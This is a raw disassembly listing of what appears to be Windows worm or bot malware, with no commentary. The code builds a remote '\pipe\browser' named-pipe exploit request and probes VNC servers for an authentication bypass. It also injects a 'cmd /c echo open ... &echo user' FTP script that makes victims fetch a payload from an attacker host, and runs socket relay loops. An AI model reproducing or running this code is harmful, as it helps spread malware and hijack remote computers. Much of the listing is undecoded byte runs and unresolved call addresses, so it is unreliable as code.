db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 44h ; D db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; è db 0A6h ; ¦ db 0DFh ; ß db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 0A7h ; § db 0DBh ; Û db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 28h ; ( db 0D1h ; Ñ db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 44h ; D db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 26F0930h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_43221C push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432208 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 26E0000h test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] call near ptr 2640897h nop jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 26F0000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321B0[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDC9C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_4321FF+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321A4[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321AC[esi] push 7 add eax, edi push offset dword_432198 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432038 push eax call sub_41C310 mov eax, dword_4321A8[esi] add esp, 30h cmp byte_4321B0[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDC94 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321C8 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321C8 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] call near ptr 2640897h nop push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 26E0857h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 26F0000h test eax, eax jnz short loc_40DE4F call near ptr 2660DCFh nop cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] call near ptr 267065Ch nop cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0D6h ; Ö db 0D6h ; Ö db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 90h ; db 0E8h ; è db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 37h ; 7 db 5Dh ; ] db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 8 db 91h ; ‘ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0B0h ; ° db 0ACh ; ¬ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0DFh ; ß db 0CCh ; Ì db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 50h ; P db 22h ; " db 43h ; C db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 38h ; 8 db 0DAh ; Ú db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 87h ; ‡ db 0D0h ; Ð db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 0E8h ; è db 8Ch ; Œ db 3Bh ; ; db 6Ah ; j db 71h ; q db 90h ; db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 90h ; db 0E8h ; è db 0E7h ; ç db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; à dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 0E8000007h, 22524D3h, 0FB834390h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax call near ptr 71AB1746h nop push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax loc_40E064: ; DATA XREF: Themida_:0055B054o push dword_4CACB0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_43140Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFB4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322C4 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j nop call near ptr 71AB1A6Dh loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAF8C test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433508 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFB4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAF74 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB00C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE2C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431410[eax] push ebx lea eax, dword_431410[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCB4 call dword_4CAF8C test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCB0 nop call near ptr 26E0000h jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCA4 nop call near ptr 26F0000h cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCB4 call dword_4CAFC4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 2F1FABE8h, 0FF509002h, 4CDCA835h, 1F9EE800h, 5090022Fh dd 2F19E7E8h, 458D9002h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 43350Ch, 0A9E89057h, 8D022325h dd 5750E845h, 0E4B86857h, 458D0040h, 0E85057F4h, 2251ECAh dd 0EC458990h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 1EB0E890h, 0FF6A0225h, 0FFF04589h, 0E890D875h, 2261FE0h dd 0F075FF57h, 27CDE890h, 0FF570226h, 0E890EC75h, 22627C3h dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E2600h dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCBC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h dd 858B022Bh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 17EAE890h, 0FE68022Bh, 530000FFh, 9E63E8h, 0BCA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 90565959h, 2B176FE8h, 57056A02h, 0AF9C15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 